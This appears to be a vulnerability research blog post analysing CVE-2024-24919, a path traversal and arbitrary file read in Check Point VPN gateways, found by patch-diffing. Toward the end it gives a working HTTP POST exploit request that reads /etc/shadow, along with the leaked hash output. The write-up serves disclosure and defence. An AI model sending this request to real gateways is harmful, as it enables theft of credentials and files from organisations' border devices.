Check Point Security Gateway 任意文件读取（CVE-2024-24919）

Check Point - Wrong Check Point (CVE-2024-24919) ================================================  Gather round, gather round - it’s time for another blogpost tearing open an SSLVPN appliance and laying bare a recent in-the-wild exploited bug. This time, it is Check Point who is the focus of our penetrative gaze. [Check Point](https://www.checkpoint.com/?ref=labs.watchtowr.com), for those unaware, is the vendor responsible for the 'CloudGuard Network Security' appliance, yet another device claiming to be secure and hardened. Their slogan - "_you deserve the best security_" - implies a level of security that can be relied upon on in their products. We thought we'd take a look inside their appliance, and we recently got a great opportunity to do so, in the shape of CVE-2024-24919. This is a 'high' priority bug, which (according to the CVE itself) falls under the category of `Exposure of Sensitive Information to an Unauthorized Actor`. Check Point advise that the bug is under active exploitation, and give the following summary (among [other advice](https://support.checkpoint.com/results/sk/sk182337?ref=labs.watchtowr.com)): > The vulnerability potentially allows an attacker to read certain information on Gateways once connected to the Internet and enabled with Remote Access VPN or Mobile Access. No bug class here, just a very vague and hand-wavey description. We wondered exactly what 'certain information' meant, in this context - does it mean we can read session tokens? Or the configuration of the device? Password hashes? (_spoiler: it's actually much worse than this_). There wasn't much information floating around the Internet about the bug, so we set out to find out just how bad it is, so that we could share details with device administrators who need to make that all-important patch-or-no-patch decision. ### Patch-Diffing time This bug seems like a prime candidate for _patch-diffing_, in which the vulnerable and the patched systems are compared to reveal details about the patch itself, and thus the bug. As ever, the first hurdle in this is obtaining the patched version of the software. While the patches linked from the advisory are locked behind a login form, we found the appliance itself would fetch patches without any credentials, and so we duly installed the patch and cataloged the resultant files, in order to compare each and every file with its pre-patch brethren. We didn’t need to go to such lengths, though, as examining the appliance filesystem, we soon found the .tgz file containing the update itself inside a temporary directory. Great! Popping it open, we found a load of boring installation scripts, and a promising-sounding file named `sslvpn.full` , an ELF binary. At least we don’t need to stare at brain-numbing PHP code this time - it’s a binary file so we get to look at lovely x86 disassembly instead. Yummy. $ find -exec file {} \\; ... ./CheckPoint#fw1#All#6.0#5#1#HOTFIX_R80_40_JHF_T211_BLOCK_PORTAL_MAIN/fw1/bin/vpn.full: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9, BuildID[sha1]=9484c3b95be69aa112042766793877d466fe9626, stripped ... We duly threw the vulnerable and patched versions of the file into IDA, and used [Diaphora](http://diaphora.re/?ref=labs.watchtowr.com) to observe the differences. Right away, something stood out to us (vulnerable code is on the left, patched on the right):  O\_o Hurm, interesting - new code has been added, which is logging the string “Suspected path traversal attack from”. It seems a pretty safe bet that the bug is actually a path traversal. Poking around in the code, we can see that a new logging function has been added, named `send_path_traversal_alert_log` , and if we look just a little bit deeper, we also find the new function `sanitize_filename` , which calls the new logging function. If we look at what references `sanitize_filename` itself, we are presented with a single caller - a large function that has the autogenerated name `sub_80F09E0`. If we search again for references to this large function, our persistence is rewarded, as we find it is passed to the function `cpHttpSvc_register_query` along with the HTTP path `/clients/MyCRL`, strongly implying it is the handler for this endpoint.  This is great - we’re only a few minutes into our analysis, and already we’ve discovered some vital clues! Firstly, we are pretty sure we’re looking for a path traversal bug, and secondly, we’ve got a strong suspicion that it affects the endpoint `/clients/MyCRL`. A little investigation reveals that this endpoint is designed to serve static files from a location on the filesystem. The files can be specified via the URI itself, in the form of `/clients/MyCRL/file_to_get`, or via the POST body. We experimented with this somewhat, and found some interesting-but-useless weirdness in the server - adding certain control characters into the URL (such as `/clients/MyCRL/test%0Atest`) would hang the request, and the error handling that detected escaped NULL bytes seemed questionable, too, as parts of the request servicing code would be executed despite dire warnings generated in the log. Nothing we tried in the URL path generated anything that looked like a controlled file read, though. Attempting to add path traversal elements such as `..` in the URL bore no fruit, as the webserver would handle them correctly - but what about the POST body? That is exempt from the webserver's path handling code. We tried adding the usual `../../etc/passwd` payload , but were soon met with disappointment, as all we received was a measly 404. The server logs showed that the appliance was indeed refusing to serve our path: [vpnd 29382 4082644928]@i-022337f52dc65ca35[30 May 3:02:00][slim] http_get_CCC_callback: Invalid filename: /opt/CPsuite-R80.40/fw1//../../etc/passwd No good! How do we work out what’s happening, and elevate ourselves beyond blind guesses? Why, by taking a look at that big `sub_80F09E0` , of course! ### Understanding the decompiled code The large handler function may seem daunting, but it is actually pretty straightforward. Switching to the vulnerable version of the code, we can see from a quick skim that it performs file I/O, given away by the telltale references to `_fopen` and `_fread` \- this is undoubtedly the place to find our bug. But what is it doing? It is slightly difficult to see what the code is doing because of the unusual way that it references string resources, which IDA doesn’t pick up. Take a look at the following code snippet:  What’s happening here? Well, the code is comparing something (the URL the user requested) with a number of hardcoded strings, located in a string table. IDA doesn’t know where the string table is, but GDB can tell us at runtime - it turns out to be here:  Easy enough - the code is checking if the user is requesting any of the files in the list, and will only permit the download if it matches. But there’s a ‘bug’ in this code. Can you spot it? That’s right! The bug isn’t anything complex or involved, it lies in the developer’s use of the `strstr` function. This function, as C gurus will know, doesn’t compare two strings outright, but searches one string for another string. This immediately got the gears turning in our head - can we abuse this sloppy matching to traverse, simply by requesting a relative path that includes one of the strings from the table? As long as one of the strings is present inside the path, the check will pass and the file will be served. Well, it turns out we can’t. We can supply paths such as [`icsweb.cab`](http://icsweb.cab/?ref=labs.watchtowr.com)`/../../etc/passwd`, but the OS isn’t dumb, and will fail to find the file, complaining that `icsweb.cab` is a file, and not a directory. We’re close, though - I can almost taste it! Let’s keep looking at that code.  Here’s a very similar chunk of code, found just underneath the first. Again, we’re iterating a string table, and comparing with the requested URL. Again, we pull out GDB, and take a look at the string table it is using:  Short but sweet. We got very excited when we saw this entry - can you see why? Yes, exactly! Because of the slash at the end of the string. That suggests that this entry isn’t a file, but a directory, which would mean we can traverse into it and then back out via the venerable `..` . As long as we have the string `CSHELL/` somewhere in the requested file, the request will be accepted, right? Well, we tried, and with bated breath submitted the following request: POST /clients/MyCRL HTTP/1.1 Host: <redacted> Content-Length: 39 aCSHELL/../../../../../../../etc/shadow We were rewarded with the contents of requested file. HTTP/1.0 200 OK Date: Thu, 30 May 2024 01:38:29 GMT Server: Check Point SVN foundation Content-Type: text/html X-UA-Compatible: IE=EmulateIE7 Connection: close X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Length: 505 admin:$6$rounds=10000$N2We3dls$xVq34E9omWI6CJfTXf.4tO51T8Y1zy2K9MzJ9zv.jOjD9wNxG7TBlQ65j992Ovs.jDo1V9zmPzbct5PiR5aJm0:19872:0:99999:8::: monitor:*:19872:0:99999:8::: root:*:19872:0:99999:7::: nobody:*:19872:0:99999:7::: postfix:*:19872:0:99999:7::: rpm:!!:19872:0:99999:7::: shutdown:*:19872:0:99999:7::: pcap:!!:19872:0:99999:7::: halt:*:19872:0:99999:7::: cp_postgres:*:19872:0:99999:7::: cpep_user:*:19872:0:99999:7::: vcsa:!!:19872:0:99999:7::: _nonlocl:*:19872:0:99999:7::: sshd:*:19872:0:99999:7::: There we go! A path traversal leading to an arbitrary file read! Since we are able to read such a critical file - the shadow password file - we must be running as the superuser, and able to read anything on the filesystem we choose. ### Wait, what?! At this point, we were somewhat confused. What we’d found is an arbitrary file read, allowing us to read any file on the system. This is much more powerful than the vendor advisory seems to imply. We rushed to patch our box, and confirm that we had indeed found CVE-2024-24919, and not some other bug, and were mildly surprised that, yes, this is CVE-2024-24919, and yes, it is an arbitrary file read. Interestingly, the vendor states that the issue only affects devices with username-and-password authentication enabled, and not with the (much stronger) certificate authentication enabled. Looking at the code, we can’t see any obvious reason for this, and we do wonder if a user who has a valid certificate can exploit the issue even when password authentication is disabled. We were also somewhat amused by the vendor’s remediation advice, which includes this gem: > To prevent attempt to exploit this vulnerability, you must protect the vulnerable Remote Access gateway **behind** a Security Gateway with both IPS and SSL Inspection enabled. Obvious grammar errors aside, the advice to place your hardened border gateway device behind _another_ hardened border gateway device gave us a chuckle. ### Conclusions That bug wasn't too difficult to find, and was extremely easy to exploit once we’d located it (full exploitation is left as an exercise for the reader - we wouldn’t want to take all the fun out of the bug). We’re a little concerned by the vendor’s statement, though - it seems to downplay the severity of this bug. Since the bug is already being used in the wild, by real attackers, it seems dangerous for the bug to be treated as anything less than a full unauthenticated RCE, with device administrators urged to update as soon as humanely possible. They state: > The vulnerability potentially allows an attacker to access information on Gateways connected to the Internet This is quite a confusing statement, given that Internet connectivity is not a requirement. The words 'access information' are doing some seriously heavy lifting here, as while they may be technically correct, in the most pedantic sense of the word, they minimize what is, in all reality, a very serious bug which should be treated as 'world ending' (at least, by those administrators who do not have a second Check Point device protecting their actual Check Point device). The vendor, Check Point, have released ‘hotfix’ for the bug, which administrators are instructed to apply if they are affected (refer to the [vendor advisory](https://support.checkpoint.com/results/sk/sk182337?ref=labs.watchtowr.com) for details).